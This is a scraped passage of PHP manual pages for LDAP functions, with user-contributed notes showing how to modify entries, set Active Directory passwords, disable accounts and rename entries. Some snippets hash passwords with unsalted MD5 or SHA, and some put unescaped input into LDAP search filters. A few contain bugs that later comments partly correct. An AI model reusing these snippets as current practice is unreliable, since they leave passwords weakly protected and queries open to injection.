$adduserAD["objectClass"] = array("top","person","organizationalPerson","user");
?>
mike dot rosile at interzonegames dot com 20-Jul-2007 09:01
Here is some great information from the OpenLDAP FAQs regarding changing a userPassword attribute with PHP:

http://www.openldap.org/faq/data/cache/347.html

$userpassword = "{SHA}" . base64_encode( pack( "H*", sha1( $pass ) ) );
aaronfulton at softhome dot net 03-Dec-2006 08:24
Before you modify values in your ldap directory, first make sure that you have permission to do so.  In openldap adding the following acl in slap.conf will allow the user to modify their own userpassword.

access to attr=userPassword
        by self write
        by anonymous auth
        by * none
erwann at zeflip dot com 04-Oct-2006 10:41
If you do not wish to set up SSL on your active directory, and you are running on Windows, you can use COM and ADSI to set the new password for a user, or to active a user:

<?PHP
// to set a user password
  // server is the ldap server
  // newuser_dn is the full dn of the user you want to modify
  // newuser_password is the password you wish to set for the user

    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->SetPassword($newuser_password);
    $user->SetInfo();

// to activate a user
    $ADSI = new COM("LDAP:");
    $user = $ADSI->OpenDSObject("LDAP://".$server."/".$newuser_dn, $adminuser, $adminpassword, 1);
    $user->AccountDisabled = false;
    $user->SetInfo();

?>
EelBait 28-Sep-2006 04:11
Using ldap_mod_replace to change a user's password will not set the password using a hashed value, but rather in clear text. There doesn't seem to be a way to use the various password-change protocols (e.g. extended operation) using this API. You might be better off using the ldappasswd command-line tool to perform this function.
frederic dot jacquot at insa-lyon dot fr 09-Jun-2004 04:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
        $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
18-Jul-2002 11:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz 26-Feb-2002 05:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com 30-Aug-2001 11:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no 30-Nov-2000 04:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com 16-Nov-2000 01:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that
ldap_mod_del
ldap_modify
LDAP Functions


Modify an LDAP entry

ldap_mod_replace
ldap_next_attribute
LDAP Functions
PHP Manual

ldap_modify

(PHP 4, PHP 5)

ldap_modify — Modify an LDAP entry

Description

bool ldap_modify ( resource $link_identifier , string $dn , array $entry )

Modify the existing entries in the LDAP directory. The structure of the entry is same as in ldap_add().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is binary-safe.

See Also

  • ldap_rename() - Modify the name of an entry

User Contributed Notes

think 09-Oct-2010 05:39
Oops, addendum to my last note - $entry is always an array (associative), but I was referring to the case where any one of the array values is itself an array (which creates multiple-valued attributes in the LDAP entry).

So, this probably won't work:

$entry = array('mail' => array(0 => 'aaa@example.com', 2 => 'bbb@example.com');

Because array index 1 is missing for the nested array - you'll get anomalous behavior (ldap_modify() returned FALSE for me, but ldap_error() reported "Success").

This won't work either:

$entry = array('mail' => array(0 => 'aaa@example.com', 1 => '', 2 => 'bbb@example.com');

Because array index 1 has a blank value, you should get a syntax error.

This is the best way to ensure nothing will go wrong:

$entry = array('mail' => array(0 => 'aaa@example.com', 1 => 'bbb@example.com');
think 08-Oct-2010 06:59
Two insipid little issues need to be highlighted.  They were pointed out separate comments previously, but are worth repeating:

===================================
When specifying an array for $entry, MAKE SURE its index values are CONTIGUOUS and that NO EMPTY VALUES are present.  (I didn't test whether or not associative arrays are acceptable.)
===================================

If you have an empty value in the array, you'll get an "Invalid Syntax" error (at least with OpenLDAP libs), which is bad enough, but if you use something like array_diff() to remove blank entries from your array, leaving a non-contiguous set of index numbers, you might get "Success" from ldap_error() and 0 (zero) from ldap_errno(), BUT ldap_modify() will return FALSE.  Wow.

This last point may be a bug and may be version dependent (PHP or LDAP libs), but it's still best to make sure your array index numbers are contiguous and that there are no blank entries.
php_notes at grumz dot net 18-Apr-2007 06:09
Following goetz at rvs dot uni-hannover dot de's comment, it is not exactly true that ldap_modify can't change objectclass.

In fact, it's impossible to add an objectclass which is set as STRUCTURAL in the schema description. But you can add an objectclass set as AUXILIARY. See OpenLDAP FAQ below for explanation why :

http://www.openldap.org/faq/data/cache/1341.html

For example, if you have an ldap entry of type "device", which is a structural objectclass, named "cn=myNetCard,ou=Networks,dc=example,dc=com", you can do this :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ieee802Device"; // add an auxiliary objectclass
$entry["macAddress"][0] = "aa:bb:cc:dd:ee:ff";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

But this will not work :

<?php

$entry["objectclass"][0] = "device";
$entry["objectclass"][1] = "ipNetwork"; // add a structural objectclass
$entry["ipNetworkNumber"][0] = "1.2.3.4";

ldap_modify ($cnx, "cn=myNetCard,ou=Networks,dc=example,dc=com", $entry);
?>

You will get the following error : "Cannot modify object class"
kevin at guarana dot org 02-Apr-2007 06:44
If you're seeing confusing "Type or value exists" errors from ldap_modify, the reason could be that you're attempting to add two identical values for a multi-valued attribute.  ie, something like:

<?php
$le = array("mail" => array("foo@bar.com", "foo@bar.com"));
$result = ldap_modify($ldap_link, $dn, $le);
?>
docwoelle at ipwatch dot de 11-Apr-2006 01:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com 28-Nov-2005 02:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

                foreach ($attributes as $key => $cur_val) {
                        if ($cur_val== '') {
                                $attributes[$key] = array ();
                        }
                        if (is_array ($cur_val)) {
                                foreach ($cur_val as $mv_key => $mv_cur_val) {

                                        if ($mv_cur_val == '') {
                                                unset ($attributes[$key][$mv_key]);
                                        }
                                        else {
                                                $attributes[$key][$mv_key] = $mv_cur_val;
                                        }
                                }
                        }
                }
chris at uffbasse dot de 14-Jun-2004 09:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl 08-Dec-2003 07:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

    value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de 22-Oct-2003 12:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu 12-Jul-2003 05:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu 13-Jun-2003 03:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de 27-Mar-2003 07:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net 12-Aug-2002 08:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com 21-Mar-2001 06:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

<?php
// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
    $attr = $delarr[$i];
    $totl = $delarr[$attr]["count"];
    for($z=0; $z<$totl; $z++) {
      if ($totl = 1) {
        $findel[$attr]=$delarr[$attr][$z];
      } else {
        $findel[$attr][$z]=$delarr[$attr][$z];
      }
    }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
    print("<H3>Modified Entry!</H3>\n");
    print("<BR>\n");
  } else {
    $error=ldap_error($ldap);
    print("<H3>Attribute Delete Failed!</H3>\n");
    print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
?>
nickt at powys dot gov dot uk 23-Apr-1999 05:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.

The  dn  must be a single specific dn that exists on the LDAP server.   There is no wildcard mechanism in LDAP to globally change multiple dn entries.

The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             <?php $newinfo[ <attribute_name> ]="whatever" ; ?>

for example ...

             <?php $newinfo["mail"]="john@myorg.com" ; ?>

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             <?php
             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;
             ?>

for example ...

             <?php
             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;
             ?>

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.   So if you just want to update the entry for the "mail" attribute, then all that is required is:

     <?php
     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);
     ?>

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.

If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.

The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.
ldap_mod_replace
ldap_next_attribute
LDAP Functions


Get the next attribute in result

ldap_modify
ldap_next_entry
LDAP Functions
PHP Manual

ldap_next_attribute

(PHP 4, PHP 5)

ldap_next_attribute — Get the next attribute in result

Description

string ldap_next_attribute ( resource $link_identifier , resource $result_entry_identifier )

Retrieves the attributes in an entry. The first call to ldap_next_attribute() is made with the result_entry_identifier returned from ldap_first_attribute().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

ber_identifier

The internal state of the pointer is maintained by this parameter.

Note:

This parameter is no longer used as this is now handled automatically by PHP. For backwards compatibility PHP will not throw an error if this parameter is passed.

Return Values

Returns the next attribute in an entry on success and FALSE on error.

Changelog

Version | Description
5.2.4 | The ber_identifier was removed. This is now handled automatically by PHP.

See Also

  • ldap_get_attributes() - Get attributes from a search result entry

User Contributed Notes

There are no user contributed notes for this page.
ldap_modify
ldap_next_entry
LDAP Functions


Get next result entry

ldap_next_attribute
ldap_next_reference
LDAP Functions
PHP Manual

ldap_next_entry

(PHP 4, PHP 5)

ldap_next_entry — Get next result entry

Description

resource ldap_next_entry ( resource $link_identifier , resource $result_entry_identifier )

Retrieve the entries stored in the result. Successive calls to the ldap_next_entry() return entries one by one till there are no more entries. The first call to ldap_next_entry() is made after the call to ldap_first_entry() with the result_entry_identifier as returned from the ldap_first_entry().

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

result_entry_identifier

Return Values

Returns entry identifier for the next entry in the result whose entries are being read starting with ldap_first_entry(). If there are no more entries in the result then it returns FALSE.

See Also

  • ldap_get_entries() - Get all result entries

User Contributed Notes

m dot kooijman at student dot utwente dot nl 08-Jan-2006 04:43
The code listed below (posted by jeff) to print all attributes with their values is wrong. It keeps trying to index the $entry variable, which is a resource identifier, not an array. All the required information is in the return value of ldap_get_attributes, $attrs.
So:

$entry = ldap_next_entry($conn,$first_entry);
$attrs = ldap_get_attributes($conn,$entry);
for ($i=0; $i < $attrs["count"]; $i++) {
   $attr_name = $attrs[$i];
   for ($j=0; $j < $attrs[$attr_name]["count"]; $j++) {
     echo "$attr_name: ".$attrs["$attr_name"][$j]."\n";
   }
}
jeff at kinkaid dot org 11-Jun-2003 05:24
dahoo,

Your code to list the attributes of an entry isn't as complete as it could be--just listing the $result["attr"][0] value won't handle multiple-valued attributes. Instead, you should have something like:

$entry = ldap_next_entry($conn,$first_entry);
$attrs = ldap_get_attributes($conn,$entry);
for ($i=0; $i < $entry["count"]; $i++) {
   $attr_name = $entry[$i];
   for ($j=0; $j < $entry[$attr_name]["count"]; $j++) {
      echo "$attr_name: ".$entry["$attr_name"][$j]."\n";
   }
}

This enables you to get listings like:

dn: cn=admin,ou=Groups
cn: admin
objectClass: posixGroup
gidNumber: 500
memberUid: 604
memberUid: 605

(note the two values for "memberUid")

I hope this helps someone.

-Jeff
dahoo at lvye dot org 28-Nov-2002 08:19
An example :

for($i=ldap_first_entr($connect,$result);
    $arr=ldap_get_attributes($connect,$i);
    $i=ldap_next_entry($connect,$i))
{
    foreach ($arr as $k => $v)
             {
        $myrow[$k]=$arr[$k][0];
    }
}
snameche at virtual-net dot fr 29-May-2002 11:18
A short example :

$qry = ldap_search( $cxion, $ldap_base, '(cn=seb*)' );

$entry = ldap_first_entry( $cxion, $qry );
while( $entry ){
 $dn = ldap_get_dn( $cxion, $entry );
 echo "<b>$dn</b><br>\n";
 $attrs = ldap_get_attributes( $cxion, $entry );
 for( $i=0; $i<$attrs['count']; $i++ ){
  echo "$attrs[$i]: ";
  for( $j=0; $j<$attrs[$attrs[$i]]['count']; $j++ )
   echo $attrs[$attrs[$i]][$j] . " ";
  echo "<br>\n";
 }
 echo "\<br>\n";
 $entry = ldap_next_entry( $cxion, $entry );
}

ldap_free_result( $qry );
ldap_next_attribute
ldap_next_reference
LDAP Functions


Get next reference

ldap_next_entry
ldap_parse_reference
LDAP Functions
PHP Manual

ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_next_reference — Get next reference

Description

resource ldap_next_reference ( resource $link , resource $entry )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ldap_next_entry
ldap_parse_reference
LDAP Functions


Extract information from reference entry

ldap_next_reference
ldap_parse_result
LDAP Functions
PHP Manual

ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_reference — Extract information from reference entry

Description

bool ldap_parse_reference ( resource $link , resource $entry , array &$referrals )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
ldap_next_reference
ldap_parse_result
LDAP Functions


Extract information from result

ldap_parse_reference
ldap_read
LDAP Functions
PHP Manual

ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_result — Extract information from result

Description

bool ldap_parse_result ( resource $link , resource $result , int &$errcode [, string &$matcheddn [, string &$errmsg [, array &$referrals ]]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Christoph Rosse 29-Mar-2011 01:26
I made some debugging to find out what this function really does.
<?php
$sr = ldap_search($ldapconn, $searchDn, 'objectclass=*');

$return = ldap_parse_result($ldapconn, $sr, $errcode, $matcheddn, $errormsg, $ldapreferrals);

var_dump($return);    // bool(true)
var_dump($errcode);    // int(0)
var_dump($matcheddn);    // string(0) ""
var_dump($errormsg);    // string(0) ""
var_dump($ldapreferrals);// array(0) {}
?>

If the searchresult is not valid everything will be NULL.

If this function for some reason cant parse the valid result an E_Warning will be thrown and $return will be false and $errcode, $errmsg will be filled with the ldap errorcode and ldap errorstring.
until now I was not able to create a valid search result that was not parse-able.

If your search-result contains ldap_referrals they will be listend in the $ldapreferrals array.

I have no Idea when the $matcheddn param gets filled.

For more detailed information look at C function http://linux.die.net/man/3/ldap_parse_result php basically passes all parameters to this function and returns the same things.
ldap_parse_reference
ldap_read
LDAP Functions


Read an entry

ldap_parse_result
ldap_rename
LDAP Functions
PHP Manual

ldap_read

(PHP 4, PHP 5)

ldap_read — Read an entry

Description

resource ldap_read ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope LDAP_SCOPE_BASE. So it is equivalent to reading an entry from the directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

An empty filter is not allowed. If you want to retrieve absolutely all information for this entry, use a filter of objectClass=*. If you know which entry types are used on the directory server, you might use an appropriate filter such as objectClass=inetOrgPerson.

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Changelog

Version | Description
4.0.5 | Parallel searches support was added. See ldap_search() for details.
4.0.2 | The attrsonly, sizelimit, timelimit and deref were added.

User Contributed Notes

me at example dot com 30-Aug-2007 12:23
In the previous example the

$ds = ldap.myserver.com // your ldap server

should be

$ds = ldap_connect( "ldap.myserver.com" ) ; // your ldap server
cnicholl at yahoo dot com 21-Dec-2005 11:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
      $sr=ldap_read($ds, $dn, $filter, $justthese);
          $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

This prints out the specified users mail and surname for example.
askegg at challenger dot com dot au 21-Aug-2003 02:11
In addition to the above you can also use ldap_list for a ONE scope LDAP search.

PHP does not conform to the RFC's in that it does not use scope parameters.  Instead use ldap_read for a scope of BASE, ldap_list for ONE and ldap_search for SUB.
sbarnum at mac dot com 18-Jul-2001 02:15
This differs from ldap_search() by not recursing down to sub-entries.  if you know the dn of the item you're looking for and only want info on that entry, use ldap_read() and pass it the full dn of the item you want.

It also seems that you'd alway want something like objectclass=* for the filter, since you're only searching on one entry.
ldap_parse_result
ldap_rename
LDAP Functions


Modify the name of an entry

ldap_read
ldap_sasl_bind
LDAP Functions
PHP Manual

ldap_rename

(PHP 4 >= 4.0.5, PHP 5)

ldap_rename — Modify the name of an entry

Description

bool ldap_rename ( resource $link_identifier , string $dn , string $newrdn , string $newparent , bool $deleteoldrdn )

The entry specified by dn is renamed/moved.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

newrdn

The new RDN.

newparent

The new parent/superior entry.

deleteoldrdn

If TRUE the old RDN value(s) is removed, else the old RDN value(s) is retained as non-distinguished values of the entry.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function currently only works with LDAPv3. You may have to use ldap_set_option() prior to binding to use LDAPv3. This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_modify() - Modify an LDAP entry

User Contributed Notes

Peter Kehl 09-Apr-2008 02:51
Here's some clarification about the parameters when renaming a container in Novell eDirectory:
- $new_rdn is in format "ou=new container name"
- newparent parameter is NULL - because we're renaming and not moving
- deleteoldrdn parameter if TRUE then old value of OU attribute is stored as a secondary/further value of LDAP OU attribute. Novell ConsoleOne shows it as 'Other Name' attribute.

$full_old_dn= "ou=Cuckoo,ou=London,ou=UK,ou=Europe,o=Happy";
$new_rdn= "ou=Cuckoo Group";

ldap_rename( $conn, $full_old_dn, $new_rdn, NULL, TRUE);
backports at gmail dot com 15-Jun-2007 07:26
Though clearly mentioned, the following had me in spin for a good 10 minutes.

Ensure:

if (!ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   // do something horrible
}

has been set _before_ you actually bind :)
hyc at openldap dot org 06-Oct-2005 04:49
Contrary to Richard Esplin's statement, this *is* the correct function to use for renaming subtrees and moving entries from one place in the tree to another. Just that most LDAP server implementations don't support moving non-leaf entries.

E.g. In OpenLDAP, moving a non-leaf entry is only supported when using the back-hdb database backend. SunOne only has one database backend, and it apparently doesn't handle this type of operation.
venakis at ccf dot auth dot gr 18-Oct-2004 02:52
If you are using Sun Directory Server 5.2, please note that you can't use ldap_rename to move an entry. According to Sun's own documentation: "[...] At this point in time, Directory Server does not support the ability to use the modify DN operation to move an entry from one location in the directory tree to another location." (http://docs.sun.com/source/817-6707/resultcodes.html)
The problem is that php does not return any error and the operation seems to complete succesfully, except for the fact that nothing really happens. If you check the server logs, there will be an "error 53" entry (server is unwilling to perform).
hope this saves someone's couple of hours nasty searching...
cory at shopwithafriend dot net 12-Aug-2004 03:21
When setting a new Rdn value be sure to escape any commas that are not path designators.  I spent several hours trying to move user nodes in AD since their cn was set wrong.  We wanted the cn to be set to: lastname, firstname.

<?php
//In this example we are renaming a node with cn of "jsmith" to "Smith, John"

/*
Setting some variables to values for display purposes.
In a real script the values would probably come from some outside source (file, ldap query, etc...)
*/
$dn = 'cn=jsmith,ou=mygroup,dc=mydomain';
$name = "Smith, John";

// Now replace those pesky commas
$newRdn = "cn=" . str_replace(",", "\\,", $name);

ldap_rename($link, $dn, $newRdn, $newParent, true);
?>
Viper_SB at NOSPAMyahoo dot com 30-Jun-2004 02:41
Since this function isn't documented to well I thought I'd help out those trying to get this to work.

<?php
// $dn is the full DN of the entry you wish to move
$dn = 'cn=user1,ou=group1,dc=mydomain';
/*
    note that $newRdn IS NOT a full DN, it is only the start
    I've NOT gotten it to change attributes for the RDN
    but that could just be my schema
*/
$newRdn = 'cn=user2';
// $newparent IS the full DN to the NEW parent DN that you want to move/rename to
$newParent = 'ou=group2,dc=mydomain';
ldap_rename($link, $dn, $newRdn, $newParent, true);
?>

Like I said above I haven't been able to get it to rename to a DIFFERENT attribute so deleteoldrdn has no affect on it.
Richard Esplin 15-Nov-2003 06:37
ldap_rename can only move leaf nodes of the directory tree. If your ldap entry has any child entries, then ldap_rename is not the tool that you need. We needed to change usernames, but that alters the dn. ldap_rename wouldn't work because each of our user ldap entries has a couple associated child entries. We had to write a function to recursively copy the subtree to the new location, and then delete the original version. Here is the basic algorithm:

function recursive_move($old_username, $new_username)
    ldap_search on the old username to get the correct entry
    ldap_get_attributes to get an array of values from the ldap entry
    foreach attribute in array, replace occurences of $old_username with $new_username
    ldap_add the attribute array into the new location
    ldap_modify any additional attributes
    ldap_list each child entry
    call function recursive_move on each child
    ldap_delete current entry
    return
alex at netflex dot nl 16-Oct-2002 08:29
Works also with eDirectory 8 (NW6).

If you are moving a user, remember that you also change the uid!
04-Apr-2002 03:10
To get this function working make sure that the value for $newrdn is relative.
ldap_read
ldap_sasl_bind
LDAP Functions


Bind to LDAP directory using SASL

ldap_rename
ldap_search
LDAP Functions
PHP Manual

ldap_sasl_bind

